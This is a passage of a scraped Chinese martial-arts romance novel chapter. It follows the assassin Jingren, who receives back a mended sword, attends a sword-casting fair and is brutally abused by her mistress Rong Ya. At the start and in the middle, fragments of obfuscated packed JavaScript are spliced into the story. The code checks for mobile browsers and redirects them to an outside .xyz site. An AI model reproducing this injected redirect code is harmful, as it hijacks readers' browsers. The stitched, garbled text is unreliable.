l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372421|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >惊刃的心跳陡然快了几分,正想开口,柳染堤便摆摆手,笑吟吟道:“怎么不留人家一块儿吃饭?听说这儿的排骨汤味道不错。” “我现在很有钱。只要不是你家那位混账主子,来谁我都乐意请客。” 惊刃:“……” 这事就这么轻飘飘揭过。 柳染堤招来小二,要了热水,转头去了隔壁洗漱更衣。 她回来时见惊刃皱着眉,对着光,研究暗器一样,端倪着手中的糖葫芦。 “小刺客,你不知道这是什么?” 柳老师细心教导:“这是糯米纸,这是糖衣,这是山楂——哦对了,记得吐核。” “我见过,”惊刃道,“没尝过罢了。” 柳染堤挤过来,连她的小角落都要抢一块位置:“怎么不尝一口?” 惊刃略有犹豫:“有种怪味。” 柳染堤凑过来,咬走第二颗山楂,腮帮子鼓起:“酸酸甜甜,这不挺好吃的么?” 惊刃思索片刻,又咬下一小块,糖壳应声碎裂,脆生生地响在齿间。 果然,那种古怪的,无法描述的,却又不令人排斥的味道,一点点在唇齿间蔓延。 “这是,甜?” 惊刃喃喃自语。 那种味道太过陌生,叫人有些发晕,昏昏沉沉的。她声音很轻,像是在确认,也像在怀疑。 柳染堤弯了弯眉,没说话。 她托着下颌,盯着惊刃皱着眉,一副试毒般的表情又吃了一枚糖葫芦,忽地想起什么。 “差点忘了,有个东西给你。”柳染堤解开布包,露出一柄惊刃再熟悉不过的黑色剑鞘。 小刺客一见那物,便像小狗见了骨头似的,眼睛直直地黏在上头,不挪分毫。 “还你了。”柳染堤道。 惊刃将糖葫芦置于瓷碟,掌心压上粗糙剑柄,微一用力,“铮——” 长剑被抽出,锋利寒亮,只是剑身中间,留有一道明显的重新拼接痕迹。 “铁匠非说融了重铸更好,”柳染堤道,“我求了好久,才肯这样拼起来。” 锋白刃面一转,切割出半边瘦削侧脸,还有一只死水般的眼睛。 “柳染堤。” 这是惊刃第一次,唤她的名字。 惊刃放下剑,望向身侧之人,一字一句道:“无字诏训诫,暗卫永不可叛主。” “你不必做这些。我不会感动,也不会为你做任何事,更不可能背叛主子。” “只要成命一日未撤,我便会竭尽全力,想尽办法,以最快的速度杀了你。” 惊刃此人,杀人利落,脑子却始终不开窍。别人一句话里藏三重机关,惊刃连门都找不着;别人话里转了三个弯,她刚走两步就能摔跟头。 此时这番话,已经是惊刃耗尽心力,反复推敲,想了整整半柱香,才想出来的说辞了。 柳染堤盯着她,肩膀颤了颤。 惊刃:“?” 柳染堤抿着唇,忍了一会儿,终究还是没忍住,扑哧一声笑了出来:“噗哈哈——” 她眉睫弯弯,一只手不急不缓地抬起,点了点惊刃因抿咬着,而有些微微泛红的唇。 唇瓣被指尖这么一压,软软地往下陷:兴许是头一回尝糖,她唇角还黏着一丝甜意,黏黏糯糯的。 惊刃郁闷了:“你笑什么?” 11. 枕刀眠 1 柳染堤斜睨她一眼,很是不怀好意:“你猜,我在笑什么?” 惊刃脑子好疼。 她无法理解,为什么有些话不能直接说出来,非得遮遮掩掩,叫人去猜。 惊狐曾试图锻炼她,挑了句容雅说过的话让她琢磨深意。惊刃非常努力,冥思苦想、搜肠刮肚,前前后后试了三十次。 三十次,全错。 甚至连边都沾不上。 到最后惊狐都绝望了,撂下一句“没救了你这石头脑瓜子还是放弃吧”后飘然离去。 “我不太擅长这些,也猜不到,”惊刃道,“你可以直接说。” 柳染堤往榻侧一靠,长腿搭起。 她道:“你身为一名刺客,难道不应该扮可怜,装无辜,讨得对方喜爱心软,再伺机而动么?” 乌黑的眼瞅着惊刃,长睫一挑:“比如,好生伺候我,哄得我高兴,松了戒心,岂不更容易下手?” 惊刃道:“何必如此麻烦,我向来一刀毙命。” 柳染堤道:“若是打不过呢?” 惊刃道:“不可能。” 柳染堤:“……” 话虽如此,“不可能”的事偏就发生了。惊刃将佩刀收回去,搂在怀里,警惕地看着她。 柳染堤依旧在笑,往榻上一躺,卷走了所有被褥,偏生有一截脚踝露出来,细若白瓷,缀着一枚红痣。 灯影一摇,那一点红也跟着一晃,媚似桃蕊,艳如朱砂。 “快睡吧,”她嗓音懒懒的,又把被褥卷紧了些,“明日还得接着赶路呢。” 窗外夜色渐浓,远处山道与车道之上,隐隐传来马蹄与脚步的躁动。 如潮水般,往嶂云庄涌来。 。 往年铸剑大会分为三程,依次为“观武”、“斗锋”、“藏珍”。 观武视其貌; 斗锋试其锋; 藏珍便是花钱把宝贝买回来。 今年却不知怎地,缩成了两天,只剩下了观武与藏珍。 众人议论纷纷,有的说因为江湖动荡,有的说嶂云庄内部出了些乱子。 不论如何,护卫确实多了许多。 整座山头设立近十条入场通道,人人须得搜身、查包裹、验令牌,引来不少抱怨。 柳染堤拽着惊刃,这么多条队伍,愣是挑中了惊狐负责的一列。 “这不是容家的小暗卫吗?”柳染堤热情上前,“真巧啊,又见面了。” 这话说的,活像是“你小时候我还抱过你呢”的远房亲戚。 惊狐嘴角一抽,面上还得维持着客气:“小姐可有门派令牌?” 惊刃原以为柳染堤算是“江湖散人”那一派,没想到,她从包裹里摸出了一枚令牌。 那是一块极其寒碜的木牌。 木料粗劣,歪歪扭扭刻着“金兰”两个字,用绿色油彩点了几个小球,当做翡翠点缀。 惊狐有些意外:“金兰堂?” 有几个好事者探过头: “哎,这不是那个三姐妹死了两,只剩一个小妹带着一大群孤女的门派么?” “听说穷得只剩满山头的野草了,居然还能派人来铸剑大会?” 几人相视而笑,语带轻蔑。 柳染堤不理她们,只和惊刃聊:“我前阵子刚加入的,堂主人可好了,只收了我一两银子。” 甚至于,堂主收完钱后感激涕零,说这一两银子够她们整个山头吃三个月馒头,激动地想跪下来给柳染堤磕个响头。 惊狐将令牌归还:“劳烦开一下包袱。” 柳染堤自然地将包袱打开,下一瞬,袖箭、毒酒、暗器、银针等物噼里啪啦滚了一桌。 每一件都锋利带毒,杀人必备。 全是惊刃的东西。 惊狐:“……” “场内不可私下售卖兵器,不可私自斗武,不可伤人性命,违者嶂云庄将严惩。” 惊狐复述一遍规矩,放两人进去了。 此次铸剑大会占据整个山头,层层搭建了数百个展示席。凡报上名号的门派,都有一席之地。 放眼望去,刀剑、弓弩、软鞭、枪戟、暗器机关等等——琳琅满目,应有尽有。 主场设在高台之上,旗帜飘扬,其下玉阶十三重,为庄主及其座上宾预留。 柳染堤自顾自跑去挑选刀剑,惊刃犹豫片刻,闪身向内围而去。 她寻了个角落取下面具,来到高台后方,侍从们都认得影煞的脸,并未阻拦。 她找到议事的密堂,正欲请守卫通传,却忽被人拽住手臂。 “嘘。” 惊狐比个手势,将她拉至一旁:“你最好别进去,主子和庄主都在里面呢。” 惊刃道:“我有事须向主子禀明。” “天下第一的事,我已向主子禀过了,”惊狐压低声音,“但情况有些复杂,今年大会的负责人……被换了。” 被换了? 惊刃有些诧异。 容雅为了拿到今年的筹备权,可谓是用尽手段,派惊刃去干了不少些脏活累活。 她苦心经营至此,怎会临门一脚,被人摘了果子? 惊狐将惊刃拉到侧廊,窗户半掩,刚好能听清内堂中的动静: - 香炉中燃着闷热的檀香,白烟之中,嶂云庄之主,容寒山端坐主位,俯瞰跪于身下的女子。 “雅儿,听话。” 紫檀念珠滑过她指间,每说一句,便拈动一颗,声调平稳如经诵。 “瑛儿年长你几岁,更懂得拿捏局势,这次大会就由她主持,你也能省些心。” 窗外风声如刃,旗帜猎猎如鼓。 堂内却凝了一层冰。 容雅跪着,手指在袖中蜷紧。 她听见心跳随着那一声“听话”,猛地坠下,砸起一阵滔天怒意。 她又听见一个声音,乖顺、恭敬,是最温雅贤淑的女儿:“母亲思虑周详,您的安排,自然是有道理的。” “只是……” 她顿了顿,道:“此次大会筹备数月,凡事俱经我手,如今忽然换人,恐遭外人揣度,有损嶂云庄威名。” 容寒山抿一口茶,淡淡道:“她是你长姐,你让一让,亦是礼数纲常。” 容雅垂头,骨节紧得发颤。 如今江湖诸派,从武林盟主、正道七阁六派,到南疆蛊教、西域阴门,大多选贤而立,不拘长幼,唯看能力高下。 唯独嶂云庄,秉承祖训—— 严守长女为尊之制。 茶楼讲闲话时,最爱拿嶂云庄开涮:“什么年月了,还抱着破规矩不放!” “有能耐的在后头,没能耐的却要坐头把交椅,迟早要坏事!” 当年老庄主尚在时,嶂云庄盛极一时,甚至能与天下第一武宗鹤观山分庭抗礼。 而老庄主过世后,长女容寒山便按祖制继承了庄主之位,但明眼人皆能看出:当年的次女,要远比长姐更有才干。 容雅默不作声, 膝盖压地,隐隐作疼。 此次铸剑大会事无巨细,从兵器入库、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372422|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客席安排到暗卫布防,哪一样不是她安排的? 如今一句“让给长姐”,她所做的一切,她付出的所有心血,便如烟般飘散。 她轻声道:“女儿知道了。” 容寒山拍了拍容雅的肩膀,在侍从们的簇拥下,缓步离开内堂。 过了许久之后。 容雅垂在身侧的手缓缓松开,掌心的一排红痕中,渗出一丝血珠。 - 两个暗卫狗狗祟祟蹲在窗外。 “嘶,这下惨了,”惊狐愁眉不展,“这个月的赏银怕是也得泡汤了。” 她肘了肘旁边的惊刃,道:“你最好躲远点,避开这事吧。” 惊刃摇摇头,道:“若事事都想着避祸,主子此刻还有谁能用?” “我若不去,她便少一枚可用之子;但若我去,哪怕是弃子,或许还能牵出一步活棋,从庄主手里扳回一局。” 惊狐神色复杂,无话可驳。 这家伙…… 她不知该说惊刃是太聪明,还是太笨,最终只能暗暗里翻了个白眼: 天下第一姐姐,求你把这颗石头脑瓜子收了吧,或者直接一棍子敲在后脑,弄晕拖走算了! - 容雅回到雅间中歇了一阵,房门被人敲响,惊狐进门,在耳旁低声说了句什么。 她冷笑一声:“让她进来。” 惊刃刚推门而入,一个瓷盏便倏地掷来。 她来不及避,碎瓷飞溅,脸颊被硬生生拉开一道血口子。 血珠涌出,砸落地面。 “你怎么还活着?”容雅哼笑着,气息都在发抖,“你怎么还没死?” 又一只杯子被抄起,砸在她脚边,碎瓷四散。 “你是回来看我笑话的吗?!” 惊刃不知所措,膝盖砸地,“嘭”一身闷响,她俯身叩首:“主子息怒,我——” “闭嘴!!” 容雅一步上前,靴尖狠狠踩上惊刃手背,旋即用力一碾。 “惊刃,你不是武艺高绝,威名赫赫吗?不是二十年来独一个影煞吗?”容雅嗤笑。 “如今跪得比狗还利落,对别人卑躬屈膝,摇尾乞怜,你咽得下这口气?不觉得卑贱耻辱吗?” 她恰好踩在右手,姜偃师的阵法曾割断那处掌筋,至今未愈。 惊刃冷汗涔涔,语气发颤:“主子,我绝无二心…我……” “都说了,闭嘴。” 容雅再次用力,银纹靴尖几乎要嵌进掌心,细微的骨裂声随之响起。 惊刃眼前发白,咬牙忍住闷哼。 直到此时,容雅才转身坐回椅中,眉眼沉沉,俯视跪在地上的暗卫。 “说过多少次了,怎还是不长记性?” 她冷冷道:“你的声音叫人恶心,若你胆敢再多说一个字,这条舌头便也不用要了。” 帘外山风正急,旗帜猎猎,屋内却只听得见容雅低促的喘息。 惊刃垂着头,慢慢撑起半边身子。 掌心处裂口溢血,指骨间似被一节一节地嵌入刀片,钻心刺骨,几近失去知觉。 “那人的事,我已听惊狐禀过了。” 容雅盯着她,缓缓从胸膛深处,扯出一口气来:“这样吧。” “你,去给我惹怒天下第一。” “让她动怒失控,杀你、杀人、或者杀掉嶂云庄里任何管事的蠢货都行。” 容雅攥紧扶手,眼中暗潮涌动:“不惜一切代价,把这次铸剑大会,给我——” “彻彻底底地毁了。”